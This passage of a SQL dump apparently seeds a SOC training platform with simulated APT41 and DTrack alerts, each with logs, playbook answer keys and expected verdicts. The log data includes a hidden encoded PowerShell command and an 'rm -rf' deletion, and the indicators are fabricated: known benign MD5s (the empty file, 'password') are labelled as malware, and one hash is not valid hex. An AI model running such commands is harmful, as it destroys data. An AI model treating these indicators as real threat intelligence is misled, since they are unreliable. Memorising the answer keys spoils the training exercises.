operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of video game developer\'s server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"supplier_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Compromised credentials used for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with CCleaner Supply Chain attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(487, 'Execution of Malicious Code in Build Environment', 'critical', 'Build server activity logs', 'APT41 executed a code injection attack by embedding a ShadowPad backdoor into the game executable during the build process, leveraging access to the build environment.', 'Code Injection', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-20T14:35:12Z\",\"build_server\":\"build-server-01\",\"user\":\"jdoe\",\"internal_ip\":\"192.168.50.24\",\"external_ip\":\"203.0.113.45\",\"malicious_file\":\"game_exec_v2.exe\",\"malicious_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"injected_payload\":\"ShadowPad.dll\",\"event_description\":\"Detected execution of a code injection attack involving the ShadowPad backdoor.\"}', '2026-01-05 03:26:48', '2026-02-16 18:19:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.50.24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the build server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Associated with previous APT41 attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious hash associated with ShadowPad backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ShadowPad.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious payload used by APT41.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.097Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:35:12Z\\\",\\\"build_server\\\":\\\"build-server-01\\\",\\\"user\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.50.24\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malicious_file\\\":\\\"game_exec_v2.exe\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"injected_payload\\\":\\\"ShadowPad.dll\\\",\\\"event_description\\\":\\\"Detected execution of a code injection attack involving the ShadowPad backdoor.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.097Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:35:12Z\\\",\\\"build_server\\\":\\\"build-server-01\\\",\\\"user\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.50.24\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malicious_file\\\":\\\"game_exec_v2.exe\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"injected_payload\\\":\\\"ShadowPad.dll\\\",\\\"event_description\\\":\\\"Detected execution of a code injection attack involving the ShadowPad backdoor.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.097Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:35:12Z\\\",\\\"build_server\\\":\\\"build-server-01\\\",\\\"user\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.50.24\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malicious_file\\\":\\\"game_exec_v2.exe\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"injected_payload\\\":\\\"ShadowPad.dll\\\",\\\"event_description\\\":\\\"Detected execution of a code injection attack involving the ShadowPad backdoor.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.097Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:35:12Z\\\",\\\"build_server\\\":\\\"build-server-01\\\",\\\"user\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.50.24\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malicious_file\\\":\\\"game_exec_v2.exe\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"injected_payload\\\":\\\"ShadowPad.dll\\\",\\\"event_description\\\":\\\"Detected execution of a code injection attack involving the ShadowPad backdoor.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.097Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:35:12Z\\\",\\\"build_server\\\":\\\"build-server-01\\\",\\\"user\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.50.24\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malicious_file\\\":\\\"game_exec_v2.exe\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"injected_payload\\\":\\\"ShadowPad.dll\\\",\\\"event_description\\\":\\\"Detected execution of a code injection attack involving the ShadowPad backdoor.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(488, 'Establishing Persistence with ShadowPad', 'high', 'Endpoint detection and response (EDR) logs', 'APT41 has installed the ShadowPad backdoor on a compromised system running a vulnerable gaming application. This action establishes a covert channel for persistent access, typical of APT41\'s tactics in targeting the gaming industry.', 'Backdoor Installation', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"123456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.25\",\"user\":\"john.doe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -nop -w hidden -encodedcommand W3N0YXJ0IC1wYXJhbSB7ZXhwbG9pdC5leGUgfQ==\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"ShadowPad.dll\",\"severity\":\"high\",\"description\":\"ShadowPad backdoor installation detected via PowerShell execution on host 10.1.1.25 by user john.doe.\"}', '2026-01-05 03:26:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 external IP used in ShadowPad campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ShadowPad malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ShadowPad.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"File linked to ShadowPad backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(489, 'Lateral Movement Across Player Networks', 'high', 'User authentication logs', 'APT41 has been detected using the ShadowPad backdoor to perform credential dumping for lateral movement across player networks.', 'Credential Dumping', 'T1003.006 - OS Credential Dumping: DCSync', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T13:45:00Z\",\"event_type\":\"authentication_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.101\",\"username\":\"gamer123\",\"auth_method\":\"NTLM\",\"hashed_password\":\"e99a18c428cb38d5f260853678922e03\",\"malware_filename\":\"shadowpad.dll\",\"process_id\":4567,\"event_description\":\"Credential dumping attempt detected from external IP using NTLM authentication method.\",\"related_hash\":\"f3c6c09f0c3e3c4b1ee2f6f9c5e8f9df\",\"related_ip\":\"10.0.0.15\"}', '2026-01-05 03:26:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP within player network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"gamer123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potential credential dumping tools.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"shadowpad.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Filename linked with ShadowPad backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(490, 'Data Exfiltration and Command Execution', 'critical', 'Network traffic analysis', 'APT41 has successfully exfiltrated sensitive data from the network and executed remote commands using an established backdoor. This action aligns with their known TTPs, causing significant damage to the compromised systems.', 'Data Theft', 'T1041 - Exfiltration Over Command and Control Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:45:00Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"203.0.113.45\",\"src_port\":8080,\"dst_port\":443,\"protocol\":\"TCP\",\"username\":\"jdoe\",\"file_exfil\":{\"filename\":\"confidential_data.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\"},\"command_executed\":\"rm -rf /sensitive_data/*\",\"malware_name\":\"Backdoor.APT41\",\"external_command_control\":\"203.0.113.45\"}', '2026-01-05 03:26:48', '2026-02-16 18:20:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with exfiltrated data.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file exfiltrated by attacker.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(491, 'Suspicious Email Attachment Detected', 'high', 'Email Gateway Logs', 'A spear-phishing email was detected targeting a key personnel in a South Korean defense firm. The email contains a malicious attachment disguised as a procurement request.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-03T08:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.10.5.23\",\"destination_email\":\"j.smith@defensecorp.kr\",\"attachment_name\":\"Procurement_Request_2023.docx\",\"attachment_hash\":\"e2fc714c4727ee9395f324cd2e7f331f\",\"subject\":\"Urgent: Procurement Request\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\"}', '2026-01-05 04:01:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns targeting defense sectors.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted user.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"j.smith@defensecorp.kr\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Email address of a key personnel at the targeted company.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Procurement_Request_2023.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"File contains active macro that downloads additional payloads.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e2fc714c4727ee9395f324cd2e7f331f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used in spear-phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Attachment Detected\",\"date\":\"2026-02-01T20:32:19.102Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(492, 'Execution of DTrack Payload', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the malicious attachment, a macro executes, downloading the DTrack payload onto the victim\'s machine, marking the next phase of the attack.', 'Execution', 'T1204: User Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.15\",\"file_created\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\DTrackPayload.exe\",\"file_hash\":\"d4e5f6a7b8c9d0e1f2g3h4i5j6k7l8m9\",\"process_name\":\"macro_loader.exe\",\"process_command_line\":\"macro_loader.exe -d C:\\\\Users\\\\jdoe\\\\Documents\\\\malicious.docm\",\"process_id\":\"6789\",\"parent_process\":\"WINWORD.EXE\",\"parent_process_id\":\"1234\"}', '2026-01-05 04:01:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d4e5f6a7b8c9d0e1f2g3h4i5j6k7l8m9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"DTrack malware sample\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"DTrackPayload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection and Response\",\"verdict\":\"suspicious\",\"details\":\"Unusual execution detected\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(493, 'Establishing Persistence with DLL Hijacking', 'high', 'System Logs', 'The attackers utilize DLL hijacking techniques to embed DTrack into legitimate processes, allowing them to maintain a foothold within the network.', 'Persistence', 'T1574.001 - DLL Search Order Hijacking', 1, 'new', NULL, '{\"event_id\":4624,\"timestamp\":\"2023-10-15T14:32:00Z\",\"computer_name\":\"compromised-host.local\",\"user_name\":\"compromised_user\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.0.12\",\"process_name\":\"C:\\\\Program Files\\\\LegitApp\\\\LegitApp.exe\",\"injected_dll\":\"C:\\\\Windows\\\\System32\\\\hijacked.dll\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"event_description\":\"DLL hijacking detected in LegitApp.exe with injected DLL hijacked.dll\"}', '2026-01-05 04:01:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with DTrack malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Program Files\\\\LegitApp\\\\LegitApp.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"DLL used for persistence by malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.104Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4624,\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user_name\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.12\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\LegitApp.exe\\\",\\\"injected_dll\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hijacked.dll\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"event_description\\\":\\\"DLL hijacking detected in LegitApp.exe with injected DLL hijacked.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.104Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4624,\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user_name\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.12\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\LegitApp.exe\\\",\\\"injected_dll\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hijacked.dll\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"event_description\\\":\\\"DLL hijacking detected in LegitApp.exe with injected DLL hijacked.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.104Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4624,\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user_name\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.12\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\LegitApp\\\\\\\\LegitApp.exe\\\",\\\"injected_dll\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hijacked.dll\\\",\\\"malware_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"event_description\\\":\\\"DLL hijacking detected in LegitApp.exe with injected DLL hijacked.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.104Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4624,\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user_name\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.12\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Program 